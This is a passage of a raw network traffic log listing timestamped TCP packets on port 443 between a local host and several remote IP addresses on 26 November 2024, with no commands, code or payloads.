Nov 26, 2024 16:31:26.748707056 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748713970 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748779058 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748872995 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748912096 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748929977 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748939037 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748982906 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748986006 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748997927 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.749032974 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.749039888 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.749047041 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.749069929 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.749074936 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.749102116 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.749106884 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.749135017 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.749164104 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.756011963 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.756027937 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.756094933 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.756107092 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.756150961 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.834757090 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.834800959 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.834850073 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.834872007 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.834928989 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.834928989 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.836014986 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.836031914 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.836119890 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.836128950 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.836170912 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.857218027 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857235909 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857238054 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857259035 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857343912 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.857353926 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857402086 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.857414007 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.857424021 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.857475996 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.872771978 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.872792006 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.872869968 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.872879982 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.873039961 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.883816957 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.883840084 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.883899927 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.883909941 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.883945942 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.883970976 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.897255898 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.897279978 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.897367954 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.897388935 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.897444010 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.898627043 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.898648024 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.898698092 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.898714066 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.898730040 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.898756027 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.917457104 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.917480946 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.917545080 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.917555094 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.917587996 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.917608023 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.920465946 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.920484066 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.920564890 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.920584917 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.920629978 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.933975935 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.933993101 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.934062958 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.934072018 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.934117079 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.947333097 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.947350979 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.947443962 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.947454929 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.948880911 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.948901892 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.948952913 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.948961020 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.948997974 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.948998928 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.948998928 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.967128992 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.967149973 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.967212915 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.967222929 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.967281103 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.972361088 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.972377062 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.972430944 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.972440958 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.972470999 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.972490072 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.978559017 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.978575945 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.978636980 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.978645086 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.978688955 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.991595030 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.991616011 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.991661072 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.991668940 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.991697073 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.991717100 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.007970095 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.007986069 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.008033991 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.008040905 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.008073092 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.008177996 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.015464067 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.015480042 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.015547037 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.015557051 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.015615940 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.029479027 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.029499054 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.029551029 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.029558897 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.029609919 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.029609919 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.066869974 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.066903114 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.067045927 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.067059040 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.068290949 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.082490921 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.082509995 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.082595110 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.082607031 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.082793951 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.182636976 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:27.182684898 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:27.183013916 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:27.183518887 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:27.183537006 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:27.253315926 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253340006 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253393888 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253449917 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253472090 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.253494024 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253525972 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.253560066 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.253680944 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253711939 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253746986 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.253778934 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.253797054 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.254034996 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.288849115 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.288875103 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.288945913 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.288973093 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.288976908 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.288992882 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289057970 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289061069 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289078951 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289081097 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289093018 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289098024 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289108992 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289141893 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289267063 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289278984 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289287090 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289297104 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289309025 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289318085 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289339066 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289340973 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289345026 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289390087 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289391041 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289418936 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289561987 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289583921 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289618015 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289623976 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289652109 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289671898 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289673090 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289686918 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289710045 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289722919 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289727926 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289757967 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289773941 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289773941 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289787054 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289810896 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289813042 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289819002 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289820910 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289828062 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289874077 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289884090 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289885044 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289890051 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289908886 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289930105 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289947987 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289947987 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289949894 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.289954901 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.289967060 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290013075 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290013075 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290052891 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290071011 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290113926 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290121078 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290144920 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290170908 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290175915 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290185928 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290206909 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290239096 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290256977 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290266991 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290282011 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290318966 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290333033 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290333033 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290342093 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290357113 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290385008 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290385008 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290407896 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290421009 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290436029 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290445089 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290452957 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290476084 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290479898 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.290530920 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.290530920 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.298324108 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:27.298418999 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:27.299784899 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.299802065 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.299870968 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.299892902 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.302053928 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.376066923 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.376089096 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.376192093 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.376205921 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.378684998 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.386035919 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.386059999 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.386157990 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.386172056 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.390451908 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.395807981 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.395824909 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.395917892 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.395927906 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.398149967 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.404872894 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.406445980 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.406462908 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.406538010 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.406547070 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.406606913 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.409692049 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:27.409718990 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:27.410167933 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:27.416676044 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.416692972 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.416817904 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.416831017 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.416939020 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.419332981 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.419341087 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.419845104 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.419851065 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.425307035 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.425323009 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.425406933 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.425421000 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.425463915 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.464828014 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:27.494616032 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.494640112 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.494694948 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.494708061 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.494733095 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.494749069 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.503138065 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.503156900 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.503253937 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.503263950 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.503989935 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.513370991 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.513392925 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.513492107 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.513504982 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.513896942 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.516608000 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.516674995 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.516711950 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.516791105 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.608190060 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.615701914 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:27.663322926 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:27.693350077 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.693373919 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.785937071 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.786508083 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.786521912 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.787043095 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.787048101 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.797650099 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:27.797679901 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:27.864211082 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.864303112 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.864459991 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.864725113 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.864725113 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.864743948 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.864753962 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.867916107 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.867949009 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.868043900 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.868367910 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.868382931 CET	443	49777	13.107.246.63	192.168.2.6
